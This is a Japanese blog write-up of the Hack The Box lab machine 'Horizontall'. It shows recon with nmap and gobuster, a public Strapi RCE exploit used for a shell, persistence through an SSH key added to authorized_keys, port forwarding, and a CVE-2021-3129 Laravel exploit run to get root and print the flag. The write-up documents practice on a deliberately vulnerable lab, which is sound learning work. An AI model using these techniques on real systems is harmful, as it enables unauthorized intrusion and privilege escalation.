家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Horizontall

偵察/スキャン

nmapでスキャンします。

┌──(kali㉿kali)-[~]
└─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.11.105

Starting Nmap 7.92 ( https://nmap.org ) 
Nmap scan report for 10.10.11.105
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)

80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)

61217/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

TCP/22と80が開いているようです。Webでアクセスすると以下のようなページが表示されました。

※IPアドレスを指定したアクセスはできないため、/etc/hostsを編集してURLでアクセスしました。

ブラウザでアクセスした様子

ページの下部に問い合わせのフォームがありましたが動作していないようでした。

その他「http://horizontall.htb」に対してdirbやnikto等実施しましたが有益な情報は得られませんでした。

 

次に、サブドメインの調査を行いました。

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u http://horizontall.htb -w /home/kali/subdomains-top1million-110000.txt -t 150     
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://horizontall.htb
[+] Method:       GET
[+] Threads:      150
[+] Wordlist:     /home/kali/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]
===============================================================わ

ワードリストには以下のものを使用しました。

github.com

上記の結果より、「http://api-prod.horizontall.htb」というサイトが存在することが確認できました。ブラウザでアクセスすると以下のようなページが表示されます。

ブラウザでアクセスした様子

単純にアクセスしただけでは有益な情報が得られなかったため、上記URLに対してさらにgobusterを実行します。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 150
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
/users                (Status: 403) [Size: 60]
/reviews              (Status: 200) [Size: 507]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69] 
/%D8                  (Status: 400) [Size: 69] 
/%CF                  (Status: 400) [Size: 69] 
/%CE                  (Status: 400) [Size: 69] 
/%CD                  (Status: 400) [Size: 69] 
/%CC                  (Status: 400) [Size: 69] 
/%CB                  (Status: 400) [Size: 69] 
/%CA                  (Status: 400) [Size: 69] 
/%D0                  (Status: 400) [Size: 69] 
/%D1                  (Status: 400) [Size: 69] 
/%D7                  (Status: 400) [Size: 69] 
/%D6                  (Status: 400) [Size: 69] 
/%D5                  (Status: 400) [Size: 69] 
/%D4                  (Status: 400) [Size: 69] 
/%D3                  (Status: 400) [Size: 69] 
/%D2                  (Status: 400) [Size: 69] 
/%C9                  (Status: 400) [Size: 69] 
/%C8                  (Status: 400) [Size: 69] 
/%C1                  (Status: 400) [Size: 69] 
/%C2                  (Status: 400) [Size: 69] 
/%C7                  (Status: 400) [Size: 69] 
/%C6                  (Status: 400) [Size: 69] 
/%C5                  (Status: 400) [Size: 69] 
/%C4                  (Status: 400) [Size: 69] 
/%C3                  (Status: 400) [Size: 69] 
/%D9                  (Status: 400) [Size: 69] 
/%DF                  (Status: 400) [Size: 69] 
/%DE                  (Status: 400) [Size: 69] 
/%DD                  (Status: 400) [Size: 69] 
/%DB                  (Status: 400) [Size: 69] 
===============================================================す

上記よりいくつかの情報が得られました。/adminにアクセスすると以下のようなページが表示されました。

ブラウザでアクセスした様子

このページのソースより、読み込んでいるJavascriptを見るとstrapi(StrapiとはNode.js環境において動作するオープンソースヘッドレスCMS)のバージョンがstrapi-plugin-content-type-builder@3.0.0-beta.17.4であることがわかりました。

 

余談:gobusterのdnsとvhostの違い

今回gobusterでサブドメインの調査を行いました。

gobusterにはいくつか動作モードがありますが、DNSモードは特定のドメインのサブドメインを検索します。-rのオプションにあるようにDNSサーバを指定して実行するモードです。
それに対してVHOSTモードは指定したURLにアクセスしてサブドメインが存在するかどうかを確認します。そのため、今回はvhostモードで実行しました。

 

アクセス取得

上記で得られた情報をもとにアクセスを試みます。

バージョン情報で検索するとRCEのexploit情報が見つかりました。

www.exploit-db.com

上記実行するとアクセス取得はできたようですが、自由にコマンドが打てませんでした。CVE番号で検索をすると他のexploitも見つかりました。

github.com

上記は実行時にJSOC Web Token(JWT)を引数に指定します。ncで待ち受けた状態で、JWTは前のexploit実行時に表示されていたものを指定して実行します。

2つ目のexploit実行

待ち受け側でインタラクティブシェルを取得することができました。

nc待ち受け側

 

権限昇格

取得したシェルでlinpeasを実行しました。

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                                            
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1872/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -   

Active Portを見ると3306(MySql)、1337(APIの呼び出し用)以外に8000番が開いていました。取得しているシェルよりcurlでアクセスすると、Laravel v8が動いていることがわかりました。

ポート8000へのアクセス結果

LaravelV8について調べると脆弱性(CVE-2021-3129)の情報が見つかりました。 また、脆弱性に関連するexploitも見つかりましたが、これはkaliで実行する必要があるようです。 BOX自身からしかアクセスできないTCP/8000に対してexploitを実行するためにSSHポートフォワーディングを行います。 最初に、ssh-keygenでSSHキーペアを作成します。そして一緒に作成される.pubをBOX上に登録します。

┌──(kali㉿kali)-[~]
└─$ cat id-rsa.pub 
ssh-rsa AAAA~SzaVkBUaV6E= kali@kali

上記をコピーしてBOX上で以下を実行します。

strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAA~SzaVkBUaV6E= kali@kali" >> authorized_keys

その後、KaliでBOXに対してSSHアクセスを行います。

┌──(kali㉿kali)-[~]
└─$ ssh -i id-rsa -L 8000:localhost:8000 strapi@10.10.11.105
The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established.
ED25519 key fingerprint is SHA256:Xe1jfjgC2NgH1uDUUr14erdojTBy+zenI7KtOwu8+ZY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.105' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Thu Sep 22 04:28:40 UTC 2022
  System load:  0.0               Processes:           180
  Usage of /:   82.2% of 4.85GB   Users logged in:     0
  Memory usage: 43%               IP address for eth0: 10.10.11.105
  Swap usage:   0%
0 updates can be applied immediately.

$ 

ここまでで、kaliの8000番ポートとBOX上の8000ポートが接続できました。

Kali上でブラウザより8000にアクセスするとLaravelの画面が表示されます。

ポート8000へのアクセス

この状態でLaravelのexploitを実行してみます。

git clone https://github.com/nth347/CVE-2021-3129_exploit.git

┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129_exploit 
                                                                                                                           
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit]
└─$ chmod +x exploit.py     
                                                                                                                           
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit]
└─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 id                                                          
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 2962, done.
remote: Counting objects: 100% (508/508), done.
remote: Compressing objects: 100% (210/210), done.
remote: Total 2962 (delta 362), reused 308 (delta 283), pack-reused 2454
Receiving objects: 100% (2962/2962), 430.81 KiB | 7.69 MiB/s, done.
Resolving deltas: 100% (1234/1234), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)
[i] Trying to clear logs
[+] Logs cleared

※rootが取得できている
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit] └─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt" 1 ⨯ [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited 615b3e97c73f7fa2a5fb0e10af859ee9 [i] Trying to clear logs [+] Logs cleared

フラグを取得できました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

erev0s.com

burakozlu.medium.com

pencer.io